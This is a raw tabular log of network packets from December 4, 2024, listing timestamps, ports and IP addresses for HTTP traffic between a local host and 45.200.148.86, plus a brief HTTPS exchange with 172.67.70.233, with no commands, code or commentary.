Dec 4, 2024 15:12:19.195462942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.196250916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.196329117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.196387053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.196852922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.197021008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.197062016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.197693110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.197782993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.197829008 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.198448896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.203181028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.347862959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.347937107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.348002911 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.348239899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.348365068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.348407984 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.349035025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.349330902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.349374056 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.350013018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.350173950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.350218058 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.350858927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.351068974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.351102114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.351524115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.351613045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.351656914 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.352298975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.352401972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.352442980 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.353074074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.353205919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.353250980 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.353935957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.353991032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.354032040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.354724884 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.354854107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.354898930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.355535984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.355638981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.355680943 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.356385946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.356431961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.356477976 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.357212067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.357357979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.357404947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.358093977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.358114958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.358151913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.358875036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.358967066 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.359009027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.359669924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.359817982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.359863997 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.360483885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.360552073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.360599041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.361397982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.361501932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.361548901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.362162113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.362220049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.362263918 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.362936020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.363003016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.363043070 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.363775015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.363971949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.364012957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.364593983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.364748001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.364793062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.365366936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.365483046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.365530014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.366192102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.366293907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.366336107 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.367027044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.367279053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.367326975 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.367875099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.367990017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.368033886 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.368702888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.368756056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.368793011 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.369461060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.369648933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.369688988 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.370322943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.370515108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.370554924 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.371193886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.371356010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.371396065 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.371965885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.372129917 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.372168064 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.372873068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.372980118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.373028040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.373641968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.373795986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.373836994 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.374454021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.374567986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.374599934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.375406027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.375550985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.375596046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.376081944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.376182079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.376220942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.376903057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.377088070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.377135992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.377675056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.377826929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.377870083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.378556013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.378659964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.378699064 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.379504919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.379547119 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.379589081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.379956961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.380049944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.380086899 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.380883932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.380989075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.381026983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.381606102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.381752968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.381795883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.382395029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.382497072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.382541895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.383236885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.383327961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.383368015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.384109974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.384179115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.384222031 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.384916067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.385035038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.385076046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.385346889 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.385760069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.385905981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.385951996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.386518955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.386605024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.386643887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.387356043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.387451887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.387495995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.388168097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.388252020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.388290882 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.388976097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.389100075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.389146090 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.389849901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.389909029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.389942884 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.390577078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.409687042 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.421809912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.539907932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.540033102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.540096045 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.540256977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.540270090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.540317059 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.540906906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.540978909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.541016102 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.541717052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.541826963 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.541867018 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.542579889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.542676926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.542716026 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.543355942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.543481112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.543519974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.544195890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.544249058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.544289112 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.545048952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.545121908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.545157909 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.545849085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.546098948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.546153069 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.546638012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.546785116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.546825886 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.547457933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.547569990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.547609091 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.548289061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.548394918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.548434019 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.549199104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.549360037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.549396992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.550039053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.550237894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.550276995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.550764084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.551026106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.551068068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.551568031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.551709890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.551748037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.552402020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.552563906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.552602053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.553201914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.553360939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.553400993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.553999901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.554169893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.554209948 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.554852009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.554984093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.555027962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.555756092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.555876017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.555917978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.556600094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.556704044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.556742907 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.557343006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.557523966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.557565928 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.558156013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.558168888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.558209896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.558948040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.559077978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.559118986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.559758902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.559864998 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.559901953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.560609102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.560686111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.560724020 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.561404943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.561570883 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.561609030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.562262058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.562381029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.562422991 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.563148975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.563363075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.563404083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.563879013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.563971996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.564011097 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.564711094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.564907074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.564944983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.565535069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.565787077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.565825939 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.566452980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.566520929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.566555977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.567305088 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.567385912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.567421913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.567970037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.568062067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.568100929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.568788052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.568932056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.568969965 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.569622040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.569713116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.569751024 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.570435047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.570552111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.570593119 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.571338892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.571552992 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.571599007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.572119951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.572248936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.572288036 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.573079109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.573122978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.573169947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.573724031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.573806047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.573847055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.574561119 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.574573040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.574609995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.575359106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.575527906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.575572014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.576246977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.576258898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.576292992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.577218056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.577351093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.577393055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.577780008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.577893019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.577933073 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.578624964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.578876019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.578917027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.579447031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.579546928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.579583883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.580354929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.580554008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.580595970 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:19.581080914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.581140041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:19.581181049 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:20.104967117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:33.520653009 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:33.520697117 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:33.520807028 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:33.532799006 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:33.532814980 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:34.748235941 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:34.748318911 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:34.751728058 CET	49767	443	192.168.2.11	172.67.70.233
